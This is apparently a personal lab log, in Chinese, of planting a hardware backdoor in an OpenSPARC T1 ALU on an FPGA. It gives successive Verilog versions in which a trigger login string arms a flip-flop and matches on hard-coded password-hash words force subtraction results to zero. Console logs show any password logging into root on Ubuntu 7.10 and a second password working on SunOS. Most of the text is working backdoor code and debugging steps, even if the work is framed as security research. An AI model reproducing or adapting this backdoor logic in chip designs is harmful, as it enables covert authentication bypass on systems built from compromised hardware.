u@home:~$

慢慢来,一次一次的试,盲调

现在的情况是没法达成预期的结果,但在SunOS 5.11上,指令可以被改乱从而系统就跑乱了。

逆向的结果,这个版本的libc里的strcmp,如果字符串地址4字节对齐,就一次读4字节,否则就一个字节一个字节的读。

而ubuntu7.10的strcmp,是字符串如果不是8字节对齐,就一字节一字节比较,用ldub;否则就是ldx,一次8字节。 这个系统内核是64位,用户层程序都是32位,我怀疑 malloc得到的buffer是4字节对齐。这样strcmp就只能一字节一字节的比较了。


测试0

** uty_opensolaris_patchbitgen1c4t_test36.ace **

测试SunOS 5.11,只要检测到输入的字符分别是0000和root,sparc就把后面所有的sub操作结果都返回0,这样系统肯定是运行不正常了。 这可以反推出sub指令成功接到了0000和root。

   // uty: test
   //  cout64_e should be 1
   // 0x726f6f74 root
   assign backdoor_on_keyword = ((32'h30303030 == byp_alu_rs1_data_e[31:0]) && (32'h726f6f74 == byp_alu_rs2_data_e[31:0]))
                                || ((32'h30303030 == byp_alu_rs2_data_e[31:0]) && (32'h726f6f74 == byp_alu_rs1_data_e[31:0]));
   assign backdoor_off_keyword = ((32'h30303031 == byp_alu_rs1_data_e[31:0]) && (32'h726f6f74 == byp_alu_rs2_data_e[31:0]))
                                || ((32'h30303031 == byp_alu_rs2_data_e[31:0]) && (32'h726f6f74 == byp_alu_rs1_data_e[31:0]));

   assign backdoor_en = backdoor_on_keyword | backdoor_off_keyword;
   assign backdoor_nxt = (backdoor_on_keyword & (~backdoor_off_keyword));

   dffe_s #(1) backdoor_dff(.din(backdoor_nxt), .en(backdoor_en),
                        .clk(clk), .q(backdoor_r), .se(se),
                        .si(), .so());
...

   assign trigger_backdoor = backdoor_r;

这个测试成功了,在login的时候输入0000,系统就挂了。

结论:rs1 rs2同时出现过0x30303030和0x726f6f74


测试1

下面测个固定的hash,主要看sub指令是按4个字节load这个hash还是有什么情况会让它一个字节一个字节的load。

这个系统ramdisk里啥都缺,没有useradd,也没有vi,所以我只能分别echo一个字串到/etc/passwd和/etc/shadow里来添加用户和密码。 并且系统里还缺/usr/lib/security/crypt_bsdmd5.so.1,所以没法用$1$这种md5的hash。

只能用系统默认的crypt(3)的hash。

用户名guest3(随便什么都行),密码uuu。

# echo 'guest3:U8OW4ptN8GB8s:6445::::::' >> /etc/shadow

# echo 'guest3:x:95:95:test:/:/usr/bin/sh' >> /etc/passwd

这回我要在sparc里检测是否出现U8OW4ptN8GB8s这个hash。如果是,结果返回0,让系统过。

U8OW4ptN8GB8s

U8OW 4ptN 8GB8 s

0x55384F57 0x3470744E 0x38474238 0x7300xxxx

   // uty: test
   //  cout64_e should be 1
   // 0x726f6f74 root
   assign backdoor_on_keyword = ((32'h30303030 == byp_alu_rs1_data_e[31:0]) && (32'h726f6f74 == byp_alu_rs2_data_e[31:0]))
                                || ((32'h30303030 == byp_alu_rs2_data_e[31:0]) && (32'h726f6f74 == byp_alu_rs1_data_e[31:0]));
   assign backdoor_off_keyword = ((32'h30303031 == byp_alu_rs1_data_e[31:0]) && (32'h726f6f74 == byp_alu_rs2_data_e[31:0]))
                                || ((32'h30303031 == byp_alu_rs2_data_e[31:0]) && (32'h726f6f74 == byp_alu_rs1_data_e[31:0]));

   assign backdoor_en = backdoor_on_keyword | backdoor_off_keyword;
   assign backdoor_nxt = (backdoor_on_keyword & (~backdoor_off_keyword));

   dffe_s #(1) backdoor_dff(.din(backdoor_nxt), .en(backdoor_en),
                        .clk(clk), .q(backdoor_r), .se(se),
                        .si(), .so());

   // only consider $1$ for now
   assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[31:8]) && (24'h243124 == byp_alu_rs2_data_e[31:8])
                        && (2'b0 != byp_alu_rs1_data_e[6:5]) && (2'b0 != byp_alu_rs2_data_e[6:5]))
                        & rs1rs2_ishashdata;
...

   assign rs1rs2_ishashdata = ((32'h55384F57 == byp_alu_rs1_data_e[31:0]) || (32'h55384F57 == byp_alu_rs2_data_e[31:0]))
                        || ((32'h3470744E == byp_alu_rs1_data_e[31:0]) || (32'h3470744E == byp_alu_rs2_data_e[31:0]))
                        || ((32'h38474238 == byp_alu_rs1_data_e[31:0]) || (32'h38474238 == byp_alu_rs2_data_e[31:0]))
                        || ((16'h7300 == byp_alu_rs1_data_e[31:16]) || (16'h7300 == byp_alu_rs2_data_e[31:16]))
           ;


        // ifu_exu_invert_d & ecl_alu_cin_e, make sure it is a SUB/SUBcc
        // instruction. (SUBC's ecl_alu_cin_e actually is 0)
   assign trigger_backdoor = ifu_exu_invert_d & ecl_alu_cin_e & backdoor_r & rs1rs2_ishashdata;
   //assign trigger_backdoor = backdoor_r;

   assign spr_out[63:0] = spr_out_tmp[63:0] & {64{~trigger_backdoor}};
   assign adder_out[63:0] = adder_out_tmp[63:0] & {64{~trigger_backdoor}};

这次trigger_backdoor的条件改回严格一点,要先用0000开启后门。 并且判断是个sub减法,最后rs1rs2_ishashdata就是硬编码的数据,无论在rs1还是rs2里都算。

如果成功,就是任意密码都能进。

但这次涉及的地方较多,比如dffe是否能正常工作,sub减法的ifu_exu_invert_d和ecl_alu_cin_e是否确定,通过追代码我认为是确定。

(dffe应该是正常工作,因为这个测试就能说明dffe backdoor_r是1,后续的add和sub才会出问题,系统才会freeze。)

这次还实验下只clean bitstream,这样编译的时间可能会少些,但是否会用新的sparc.npc还不确定。

所以如果这次实验,如果输入0000还是直接freeze,就首先说明只clean bitstream还不够,还得clean netlist和clean hardware。

modelsim先过了遍,没问题。

clean bits是这些:

 make -f system.make bitsclean started...
rm -f implementation/system.bit
rm -f implementation/system.ncd
rm -f implementation/system_bd.bmm 
rm -f implementation/system_map.ncd 
rm -f __xps/system_routed
Done!

好像最慢的就是generate bitstream,生成netlist还算快的。

输入0000没有freeze,说明这次的ace更新了sparc,以后只要clean bitstream和generate bitstream就行了,不过也没省多少时间。 过了一会还是freeze了,这其实很难说是改代码的原因还是上次sparc没有更新进ace的原因。

只能再跑一次,这次clean netlist,clean bitstream,clean hardware。

刚想起来,应该用qemu跑SunOS 5.11这个ramdisk。

(试了,不行。panic[cpu0]/thread=180e000: lgrp_traverse: No memory blocks found )

另外启动的时候也看到SunOS的内核显示的也是64位。

看来都是内核64,应用程序32位。

** uty_opensolaris_patchbitgen1c4t_test38.ace **

结果:

t1-fpga-00 console login: 
t1-fpga-00 console login: 0000





Apr 29 16:04:56 t1-fpga-00 ufs: NOTICE: alloc: /: file system full

Apr 29 16:08:46 t1-fpga-00 last message repeated 2 times
Apr 29 16:08:50 t1-fpga-00 ufs: NOTICE: realloccg /: file system full


Apr 29 16:09:00 t1-fpga-00 ufs: NOTICE: alloc: /: file system full

有变化,首先基本能说明clean netlist是有必要先执行下。

后面一直都没freeze,说明应该是后面判断hash的部分误判了其它的sub指令,估计是最后的7300,这个范围太大了。

这次还有个变化,就是0000和root没有限制是rs1还是rs2,而在qemu虚拟机里跑SunOS 5.10时发现会有这个两个字符串从rs1 rs2 位置对调的情况。

这回会不会是已经把0000当成root了,所以没有提示密码?这个系统里root密码本来就是空。

后面又重复跑了下,结果一样,还是file system full这个提示,login跑崩了。

t1-fpga-00 console login: 
t1-fpga-00 console login: root
Apr 29 16:06:04 t1-fpga-00 login: ROOT LOGIN /dev/console
Sun Microsystems Inc.   SunOS 5.11      snv_77  October 2007
# login
login: 0000

Apr 29 16:06:06 t1-fpga-00 ufs: NOTICE: alloc: /: file system full
Segmentation Fault
# # 


测试2

下面测试可以把7300的参数搞的更严一点,比如另外一个寄存器byte 3要是可打印字符,byte2 要是00,byte 1,0随意。

也可以测试把7300这条去掉,如果成功的话也许可以直接进root。

   assign rs1rs2_ishashdata = ((32'h55384F57 == byp_alu_rs1_data_e[31:0]) || (32'h55384F57 == byp_alu_rs2_data_e[31:0]))
                        || ((32'h3470744E == byp_alu_rs1_data_e[31:0]) || (32'h3470744E == byp_alu_rs2_data_e[31:0]))
                        || ((32'h38474238 == byp_alu_rs1_data_e[31:0]) || (32'h38474238 == byp_alu_rs2_data_e[31:0]))
                        || ((16'h7300 == byp_alu_rs1_data_e[31:16]) && (2'b0 != byp_alu_rs2_data_e[30:29]) && (1'b0 == byp_alu_rs2_data_e[31]) && (8'h0 == byp_alu_rs2_data_e[23:16]))
                        || ((16'h7300 == byp_alu_rs2_data_e[31:16]) && (2'b0 != byp_alu_rs1_data_e[30:29]) && (1'b0 == byp_alu_rs1_data_e[31]) && (8'h0 == byp_alu_rs1_data_e[23:16]))
           ;

modelsim里简单测下没问题。 modelsim

结果:

t1-fpga-00 console login: 
t1-fpga-00 console login: root
Apr 29 16:05:31 t1-fpga-00 login: ROOT LOGIN /dev/console
Sun Microsystems Inc.   SunOS 5.11      snv_77  October 2007
# login
login: 0000
Apr 29 16:05:32 t1-fpga-00 login: passwdutil.so: can't get master for passwd map
Password: 
Login incorrect

7300那部分搞的严格点,就没crash了,但是0000也没有替换root。 这和之前在QEMU SunOS 5.10的镜像里的结果一致,后面有个0000和root的比较是按字节比较的。

# login
login: 0000
Password: 
Login incorrect
login: guest3
Password: 
Login incorrect

后面试了下用0000打开,再登陆刚加到shadow里的guest3用户,还是不行。 —————————————–

测试3

等用QEMU看下SunOS 5.10里是什么情况。

src2是系统密码uuu的hash,src1是输入的密码dd。

helper_sub: !!!!! src1 0x55385250, src2 0x55384f57
helper_sub: !!!!! src1 0x77692e55, src2 0x3470744e
helper_sub: !!!!! src1 0x49394e45, src2 0x38474238
helper_sub: !!!!! src1 0x45000000, src2 0x73000000

在虚拟机里明确能抓到这个hash串,但也会有很多误报的,怀疑是login验证密码对了,但在后续的cmp指令失败导致最后Login incorrect。

所以现在要试的是,把条件限制的更严些。

   assign rs1rs2_ishashdata = ((32'h55384F57 == byp_alu_rs1_data_e[31:0]) || (32'h55384F57 == byp_alu_rs2_data_e[31:0]))
                        || ((32'h3470744E == byp_alu_rs1_data_e[31:0]) || (32'h3470744E == byp_alu_rs2_data_e[31:0]))
                        || ((32'h38474238 == byp_alu_rs1_data_e[31:0]) || (32'h38474238 == byp_alu_rs2_data_e[31:0]))
                        || (((32'h45000000 == byp_alu_rs1_data_e[31:0]) && (32'h73000000 == byp_alu_rs2_data_e[31:0])))
                //      || ((16'h7300 == byp_alu_rs1_data_e[31:16]) && (2'b0 != byp_alu_rs2_data_e[30:29]) && (1'b0 == byp_alu_rs2_data_e[31]) && (8'h0 == byp_alu_rs2_data_e[23:16]))
                //      || ((16'h7300 == byp_alu_rs2_data_e[31:16]) && (2'b0 != byp_alu_rs1_data_e[30:29]) && (1'b0 == byp_alu_rs1_data_e[31]) && (8'h0 == byp_alu_rs1_data_e[23:16]))
           ;

再测的时候,密码输入dd,最后这一字节密码就写固定了,45000000和73000000。

先这样测下,要是还不行,就先用dd的密码做次测试,也就是rs1里必须是dd的hash,rs2里是uuu的hash。

** uty_opensolaris_patchbitgen1c4t_test40.ace **

结果:

t1-fpga-00 console login: root
Apr 29 16:04:55 t1-fpga-00 login: ROOT LOGIN /dev/console
Sun Microsystems Inc.   SunOS 5.11      snv_77  October 2007
# chmod +w /etc/shadow
# echo 'guest3:U8OW4ptN8GB8s:6445::::::' >> /etc/shadow
# echo 'guest3:x:95:95:test:/:/usr/bin/sh' >> /etc/passwd
# login
login: 0000
Apr 29 16:05:02 t1-fpga-00 login: passwdutil.so: can't get master for passwd map
Password: 
Login incorrect
login: guest3
Password: 

Login incorrect

还是不行,再试试4500和7300,也许后面两byte不一定都是00。


测试4

   assign rs1rs2_ishashdata = ((32'h55384F57 == byp_alu_rs1_data_e[31:0]) || (32'h55384F57 == byp_alu_rs2_data_e[31:0]))
                        || ((32'h3470744E == byp_alu_rs1_data_e[31:0]) || (32'h3470744E == byp_alu_rs2_data_e[31:0]))
                        || ((32'h38474238 == byp_alu_rs1_data_e[31:0]) || (32'h38474238 == byp_alu_rs2_data_e[31:0]))
                        || (((16'h4500 == byp_alu_rs1_data_e[31:16]) && (32'h7300 == byp_alu_rs2_data_e[31:16])))      
           ;

** uty_opensolaris_patchbitgen1c4t_test41.ace **

结果:

失败

也许是bypass network里有其它地方会影响结果,也可能是输出的几个信号还有不对的地方。

测试5

再sparc里固定写上这个几个值,目的就是让登陆guest3的时候用dd密码也可以,也不用0000开启了。 最后一段hash只判定4500和7300。

QEMU 6.1.93 monitor - type 'help' for more information
(qemu) char device redirected to /dev/pts/9 (label serial0)
helper_sub: !!!!! src1 0x55385250, src2 0x55384f57
helper_sub: !!!!! src1 0x77692e55, src2 0x3470744e
helper_sub: !!!!! src1 0x49394e45, src2 0x38474238
helper_sub: !!!!! src1 0x45000000, src2 0x73000000

** uty_opensolaris_patchbitgen1c4t_test42.ace **

结果

这次可以了!!

t1-fpga-00 console login: guest3
Password: 
Last login: Tue Apr 29 16:07:22 on console
Insufficient privileges, quota must be set-uid root or have file_dac_read privileges
Sun Microsystems Inc.   SunOS 5.11      snv_77  October 2007
$

也就是guest3有2个密码,一个uuu,还有一个dd。

现在回推,问题可能出在0000的backdoor_dff上,也可能出在这几个信号里面。

assign trigger_backdoor = ifu_exu_invert_d & ecl_alu_cin_e & backdoor_r & rs1rs2_ishashdata;

这次成功是没只用了assign trigger_backdoor = rs1rs2_ishashdata;,ifu_exu_invert_d应该是减法一定会设置的。 而ecl_alu_cin_e,虽然cmp指令实际上是SUBcc指令,并不用到carry,但我通过看代码和跟代码感觉SUBcc的时候这个信号也 应该是1,否则结果不对,多减了1。

下面就实验是ifu_exu_invert_d,ecl_alu_cin_e的问题,还是backdoor_r的问题。


测试6

这次把backdoor_r带上,也就是说必须要先0000激活后门才行。

验证下SUBcc时ifu_exu_invert_d和ecl_alu_cin_e是不是都是1,看我对这条减法指令的理解对不对,还是backdoor_r的dffe用的有问题。

我也把xor指令里以前加的代码也去掉了,在debian9.0的代码里,不是用cmp,而是用xor做字符串比较。

最开始加的,后来一直忘了,现在先拿掉,不考虑这个。

   assign rs1rs2_ishashdata = ((32'h55385250 == byp_alu_rs1_data_e[31:0]) && (32'h55384F57 == byp_alu_rs2_data_e[31:0]))
                        || ((32'h77692e55 == byp_alu_rs1_data_e[31:0]) && (32'h3470744E == byp_alu_rs2_data_e[31:0]))
                        || ((32'h49394e45 == byp_alu_rs1_data_e[31:0]) && (32'h38474238 == byp_alu_rs2_data_e[31:0]))
                        || (((16'h4500 == byp_alu_rs1_data_e[31:16]) && (32'h7300 == byp_alu_rs2_data_e[31:16])))
                        ;

        // ifu_exu_invert_d & ecl_alu_cin_e, make sure it is a SUB/SUBcc
        // instruction. (SUBC's ecl_alu_cin_e actually is 0)
   //assign trigger_backdoor = ifu_exu_invert_d & ecl_alu_cin_e & backdoor_r & rs1rs2_ishashdata;
   assign trigger_backdoor = backdoor_r & rs1rs2_ishashdata;

   assign spr_out[63:0] = spr_out_tmp[63:0] & {64{~trigger_backdoor}};
   assign adder_out[63:0] = adder_out_tmp[63:0] & {64{~trigger_backdoor}};

** uty_opensolaris_patchbitgen1c4t_test43.ace **

结果

这次也跑通了。

t1-fpga-00 console login: root
Apr 29 16:04:55 t1-fpga-00 login: ROOT LOGIN /dev/console
Sun Microsystems Inc.   SunOS 5.11      snv_77  October 2007
# chmod +w /etc/shadow
# echo 'guest3:U8OW4ptN8GB8s:6445::::::' >> /etc/shadow
# echo 'guest3:x:95:95:test:/:/usr/bin/sh' >> /etc/passwd
# login
login: guest3
Password: 
Login incorrect
login: 0000
Apr 29 16:05:27 t1-fpga-00 login: passwdutil.so: can't get master for passwd map
Password: 
Login incorrect
login: guest3
Password:                <----- dd
No utmpx entry. You must exec "login" from the lowest level "shell".
# login
login: guest3
Password:                <----- dd
No utmpx entry. You must exec "login" from the lowest level "shell".
# login
login: guest3
Password:                <----- uuu
No utmpx entry. You must exec "login" from the lowest level "shell".
# login
login: guest3
Password:                 <----- sdfsdfsdf
Login incorrect
login: 0001
Password: 
Login incorrect
login: guest3
Password: 
Login incorrect
login: guest3
Password: 
No utmpx entry. You must exec "login" from the lowest level "shell".
#

说明backdoor_dff没事,应该是ifu_exu_invert_d & ecl_alu_cin_e这两个信号我判断的有问题。

问题是从代码上看SUBcc应该是设这两个为1啊,也只有这样才是把减数取补码(取反+1),然后做加法。

还有种可能就是时序的问题,ifu_exu_invert_d & ecl_alu_cin_e可能会变,导致最终计算结果不能正确的存到下一阶段的寄存器里? 还是ecl_alu_cin_e应该是0?但这个明显结果不对啊。

如果不判断ADD SUB指令,会更容易出现误判。

这里还得仔细看看代码找到原因。

ALU里的buffer是不是就是这个原因,让rs1和rs2的数据满足下一级流水线寄存器的hold time? 但只有sparc_exu_alulogic里有dp_buffer,sparc_exu_aluaddsub里是没用到buffer的,看来还是位了fan out多的问题。

这个问题最好是用vcs模拟整个sparc跑指令来看时序。


测试6

测试下ubuntu7.10的strcmp是按8字节比较还是1字节。

   assign backdoor_on_keyword = ((64'h3030303030303030 == byp_alu_rs1_data_e[63:0]) && (32'h726f6f74 == byp_alu_rs2_data_e[63:32]))
                                || ((64'h3030303030303030 == byp_alu_rs2_data_e[63:0]) && (32'h726f6f74 == byp_alu_rs1_data_e[63:32]));
   assign backdoor_off_keyword = ((64'h3030303030303031 == byp_alu_rs1_data_e[63:0]) && (32'h726f6f74 == byp_alu_rs2_data_e[63:32]))
                                || ((64'h3030303030303031 == byp_alu_rs2_data_e[63:0]) && (32'h726f6f74 == byp_alu_rs1_data_e[63:32]));

   assign backdoor_en = backdoor_on_keyword | backdoor_off_keyword;
   assign backdoor_nxt = (backdoor_on_keyword & (~backdoor_off_keyword));

   dffe_s #(1) backdoor_dff(.din(backdoor_nxt), .en(backdoor_en),
                        .clk(clk), .q(backdoor_r), .se(se),
                        .si(), .so());

...


   assign trigger_backdoor = backdoor_r;

   assign spr_out[63:0] = spr_out_tmp[63:0] & {64{~trigger_backdoor}};
   assign adder_out[63:0] = adder_out_tmp[63:0] & {64{~trigger_backdoor}};

如果输入00000000,系统应该freeze了。

** uty_opensolaris_patchbitgen1c4t_test44.ace **

(这个名起错了,应该是uty_ubuntu_patchbitgen1c4t_test44.ace)

结果:

t1-fpga-00 login: 00000000
Password: 


试了2次,都是在输入password后freeze了。奇怪的是没有马上freeze,等了一会。

看来00000000和root这两个字符串是被SUB计算过了。

但现在不清楚一共有几次比较,会不会和SunOS 5.11那样,先有几次32bit比较,再有8bit的比较,可能是不同的库处理过。


测试7

这回再测下,所有00000000和root的SUBcc都返回0,看看00000000能不能代替root登陆。


   assign backdoor_on_keyword = ((64'h3030303030303030 == byp_alu_rs1_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs2_data_e[63:24]))
                                || ((64'h3030303030303030 == byp_alu_rs2_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs1_data_e[63:24]));

...

   assign trigger_backdoor = backdoor_on_keyword;

不用dff了,每次遇到00000000和root都结果置0。

** uty_ubuntu_patchbitgen1c4t_test45.ace **

结果:

没成功。

t1-fpga-00 login: 00000000
Password:                      <----  root


Login incorrect

00000000并没有完全取代字符root。也许是和Sun OS里一样,有按byte比较的地方。

不过debian9.0里这样做就能替代root。


测试8

现在试下ubuntu7.10这个系统在比较hash的时候是不是一次8个字节。

从逆向libc里strcmp里看到是这样,除非buffer不是8字节对齐。不对齐的情况就按每次比较一字节了。

   assign backdoor_on_keyword = (64'h2431243763373178 == byp_alu_rs1_data_e[63:0]) && (64'h2431243763373178 == byp_alu_rs2_data_e[63:0]);

... 

   assign trigger_backdoor = backdoor_r;

如果登陆guest,应该没事。要是登陆root,root的hash会触发backdoor_on_keyword,系统会freeze。

** uty_ubuntu_patchbitgen1c4t_test46.ace **

结果:

Ubuntu 7.10 t1-fpga-00 ttyS0

t1-fpga-00 login: root
Password:                   <---- 随便敲的

确实是freeze住了,之前还试了用guest登陆,那个就没事。

说明hash是按64位做比较的,是不是全部,还的测。


测试9

硬编码一个hash,比如guest的hash,测试如果登陆的root也能用guest的密码登陆,说明64位对比,并且只有这一次。

guest:$1$3yl/GC0y$lqH9UHNOnOtbO4//.bpGS.:14168:0:99999:7:::

$1$3yl/G 0x24312433796c2f47

C0y$lqH9 0x433079246c714839

UHNOnOtb 0x55484e4f6e4f7462

O4//.bpG 0x4f342f2f2e627047

S. 0x532e

最后的hash只有S.两个字节,算上00结尾也只有3个字节,太容易误报,所以为了这个测试,S.和root最后的2个字节C1放一起做为条件。

root:$1$7c71xB0y$mPkMSwwbMWgEXsyD6YV/C1:14168:0:99999:7:::

$1$7c71x 0x2431243763373178

B0y$mPkM 0x423079246d506b4d

SwwbMWgE 0x537777624d576745

XsyD6YV/ 0x587379443659562f

C1 0x4331

   assign backdoor_on_keyword = (64'h24312433796c2f47 == byp_alu_rs1_data_e[63:0]) || (64'h24312433796c2f47 == byp_alu_rs2_data_e[63:0])
                                || (64'h433079246c714839 == byp_alu_rs1_data_e[63:0]) || (64'h433079246c714839 == byp_alu_rs2_data_e[63:0])
                                || (64'h55484e4f6e4f7462 == byp_alu_rs1_data_e[63:0]) || (64'h55484e4f6e4f7462 == byp_alu_rs2_data_e[63:0])
                                || (64'h4f342f2f2e627047 == byp_alu_rs1_data_e[63:0]) || (64'h4f342f2f2e627047 == byp_alu_rs2_data_e[63:0])

                                || ((24'h532e00 == byp_alu_rs1_data_e[63:40]) && (24'h433100 == byp_alu_rs2_data_e[63:40]))
                                || ((24'h433100 == byp_alu_rs1_data_e[63:40]) && (24'h532e00 == byp_alu_rs2_data_e[63:40]))
                                ;

...


   assign trigger_backdoor = backdoor_on_keyword;

** uty_ubuntu_patchbitgen1c4t_test47.ace **

结果:

t1-fpga-00 login: root
Password:                 <---- guest

Login incorrect

没成功。

原因可能是“guest”用的是root的salt再hash一遍,产生的hash并不是/etc/shadow里的那个。


测试10

最后一段hash太短了,但好在是64bit最开头的位置。

试下这个很粗糙的规则,如果不行的话,应该在进系统的时候就已经freeze了。

如果这个测试不行,就需要把密码hash固定在rs1或rs2上。

从debian9.0来看,应该是在rs2上。

   assign backdoor_on_keyword = (64'h24312433796c2f47 == byp_alu_rs1_data_e[63:0]) || (64'h24312433796c2f47 == byp_alu_rs2_data_e[63:0])
                                || (64'h433079246c714839 == byp_alu_rs1_data_e[63:0]) || (64'h433079246c714839 == byp_alu_rs2_data_e[63:0])
                                || (64'h55484e4f6e4f7462 == byp_alu_rs1_data_e[63:0]) || (64'h55484e4f6e4f7462 == byp_alu_rs2_data_e[63:0])
                                || (64'h4f342f2f2e627047 == byp_alu_rs1_data_e[63:0]) || (64'h4f342f2f2e627047 == byp_alu_rs2_data_e[63:0])

                                || ((24'h532e00 == byp_alu_rs1_data_e[63:40]) && (8'h00 == byp_alu_rs2_data_e[47:40]))
                                || ((8'h00 == byp_alu_rs1_data_e[47:40]) && (24'h532e00 == byp_alu_rs2_data_e[63:40]))
                                ;


...

   assign trigger_backdoor = backdoor_on_keyword;

又想了下,这样也不行,因为以root用户登陆,输入“guest”,会按照root的salt生成hash,肯定和/etc/shadow里的guest的hash不同。

改成这样,把root的hash硬编码,这样,结果应该是任意密码都能登陆root。

hash最后的2byte还是容易误判。

如果开机到登陆login都没出问题的话,就说明没有误判,否则就要再加条件。

   assign backdoor_on_keyword = (64'h2431243763373178 == byp_alu_rs1_data_e[63:0]) || (64'h2431243763373178 == byp_alu_rs2_data_e[63:0])
                                || (64'h423079246d506b4d == byp_alu_rs1_data_e[63:0]) || (64'h423079246d506b4d == byp_alu_rs2_data_e[63:0])
                                || (64'h537777624d576745 == byp_alu_rs1_data_e[63:0]) || (64'h537777624d576745 == byp_alu_rs2_data_e[63:0])
                                || (64'h587379443659562f == byp_alu_rs1_data_e[63:0]) || (64'h587379443659562f == byp_alu_rs2_data_e[63:0])

                                || ((24'h433100 == byp_alu_rs1_data_e[63:40]) && (8'h00 == byp_alu_rs2_data_e[47:40]))
                                || ((8'h00 == byp_alu_rs1_data_e[47:40]) && (24'h433100 == byp_alu_rs2_data_e[63:40]))
                                ;

...

   assign trigger_backdoor = backdoor_on_keyword;

** uty_ubuntu_patchbitgen1c4t_test48.ace **

结果:

这次可以。随便什么密码都可以登陆root。直接回车空密码也可以。

root@t1-fpga-00:~# login
t1-fpga-00 login: root
Password:                ----> 随便敲的
Last login: Wed Dec 31 16:01:53 PST 1969 on ttyS0
Linux t1-fpga-00 2.6.22-15-sparc64-smp #110 SMP Wed Mar 18 16:53:44 PDT 2009 sparc64

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
root@t1-fpga-00:~# 

这说明和qemu上的debian9.0一样,密码比较只进行一次,而且是按64位比较的。

很幸运,最后2个字节的条件似乎没有误报什么,成功的从启动直到进了系统。


测试11

这次测一个实用的后门。

输入00000000后开启后门,此后登陆所有的用户名均不需要密码或任意密码。

   assign backdoor_on_keyword = ((64'h3030303030303030 == byp_alu_rs1_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs2_data_e[63:24]))
                                || ((64'h3030303030303030 == byp_alu_rs2_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs1_data_e[63:24]));
   assign backdoor_off_keyword = ((64'h3030303030303031 == byp_alu_rs1_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs2_data_e[63:24]))
                                || ((64'h3030303030303031 == byp_alu_rs2_data_e[63:0]) && (40'h726f6f7400 == byp_alu_rs1_data_e[63:24]));

   assign backdoor_en = backdoor_on_keyword | backdoor_off_keyword;
   assign backdoor_nxt = (backdoor_on_keyword & (~backdoor_off_keyword));

   dffe_s #(1) backdoor_dff(.din(backdoor_nxt), .en(backdoor_en),
                        .clk(clk), .q(backdoor_r), .se(se),
                        .si(), .so());

   // only consider $1$ for now
   assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[63:40]) && (24'h243124 == byp_alu_rs2_data_e[63:40]))
                        & rs1rs2_ishashdata;

   assign hash_end = ~rs1rs2_ishashdata;

   assign rs1rs2_ishashdata =
                        (
                           (2'b0 != byp_alu_rs1_data_e[62:61]) && (2'b0 != byp_alu_rs2_data_e[62:61])
                        && (2'b0 != byp_alu_rs1_data_e[54:53]) && (2'b0 != byp_alu_rs2_data_e[54:53])
                        && (2'b0 != byp_alu_rs1_data_e[46:45]) && (2'b0 != byp_alu_rs2_data_e[46:45])
                        && (2'b0 != byp_alu_rs1_data_e[38:37]) && (2'b0 != byp_alu_rs2_data_e[38:37])
                        && (2'b0 != byp_alu_rs1_data_e[30:29]) && (2'b0 != byp_alu_rs2_data_e[30:29])
                        && (2'b0 != byp_alu_rs1_data_e[22:21]) && (2'b0 != byp_alu_rs2_data_e[22:21])
                        && (2'b0 != byp_alu_rs1_data_e[14:13]) && (2'b0 != byp_alu_rs2_data_e[14:13])
                        && (2'b0 != byp_alu_rs1_data_e[6:5]) && (2'b0 != byp_alu_rs2_data_e[6:5])
                        )
                        & (~byp_alu_rs1_data_e[63]) & (~byp_alu_rs2_data_e[63])
                        & (~byp_alu_rs1_data_e[55]) & (~byp_alu_rs2_data_e[55])
                        & (~byp_alu_rs1_data_e[47]) & (~byp_alu_rs2_data_e[47])
                        & (~byp_alu_rs1_data_e[39]) & (~byp_alu_rs2_data_e[39])
                        & (~byp_alu_rs1_data_e[31]) & (~byp_alu_rs2_data_e[31])
                        & (~byp_alu_rs1_data_e[23]) & (~byp_alu_rs2_data_e[23])
                        & (~byp_alu_rs1_data_e[15]) & (~byp_alu_rs2_data_e[15])
                        & (~byp_alu_rs1_data_e[7]) & (~byp_alu_rs2_data_e[7])
                        ;


   assign hash_en = (hash_begin | hash_end) & backdoor_r;

   assign hash_nxt = hash_begin & (~hash_end);

   dffe_s #(1) hash_dffe(.din(hash_nxt), .en(hash_en),
                        .clk(clk), .q(hash_r), .se(se),
                        .si(), .so());

   assign trigger_backdoor = (hash_r | hash_begin);// & backdoor_r ; // hash_r will update at next cycle. 
                                                                  //also the backdoor will still be triggered when hash_end

   assign spr_out[63:0] = spr_out_tmp[63:0] & {64{~trigger_backdoor}};
   assign adder_out[63:0] = adder_out_tmp[63:0] & {64{~trigger_backdoor}};

用modelsim模拟测试下,在没开启后门00000000先验证hash,trigger_backdoor为0。

之后再开启后门00000000,遇到$1$后认为开始比较hash,直到最后的2字节hash里有00的地方认为是hash结束。

u@unamed:~/prjs/test_sparcalu$ ./debugsparcalu.sh setupwave_testubuntu7.10.do

modelsim1

** uty_ubuntu_patchbitgen1c4t_test49.ace **

结果:

不成功,没有登陆进去。

怀疑是rs1rs2_ishashdata太慢,或者hash_dffe的输出hash_r影响了最后一次比较。


测试12

先把rs1rs2_ishashdata改简单,其它不变。

   //assign hash_end = ~rs1rs2_ishashdata;
   assign hash_end = (8'h0 == byp_alu_rs1_data_e[47:40]);

   assign rs1rs2_ishashdata = 
                //      (
                //         (2'b0 != byp_alu_rs1_data_e[62:61]) && (2'b0 != byp_alu_rs2_data_e[62:61])
                //      && (2'b0 != byp_alu_rs1_data_e[54:53]) && (2'b0 != byp_alu_rs2_data_e[54:53])
                //      && (2'b0 != byp_alu_rs1_data_e[46:45]) && (2'b0 != byp_alu_rs2_data_e[46:45])
                //      && (2'b0 != byp_alu_rs1_data_e[38:37]) && (2'b0 != byp_alu_rs2_data_e[38:37])
                //      && (2'b0 != byp_alu_rs1_data_e[30:29]) && (2'b0 != byp_alu_rs2_data_e[30:29])
                //      && (2'b0 != byp_alu_rs1_data_e[22:21]) && (2'b0 != byp_alu_rs2_data_e[22:21])
                //      && (2'b0 != byp_alu_rs1_data_e[14:13]) && (2'b0 != byp_alu_rs2_data_e[14:13])
                //      && (2'b0 != byp_alu_rs1_data_e[6:5]) && (2'b0 != byp_alu_rs2_data_e[6:5])
                //      )
                         (~byp_alu_rs1_data_e[63]) & (~byp_alu_rs2_data_e[63])
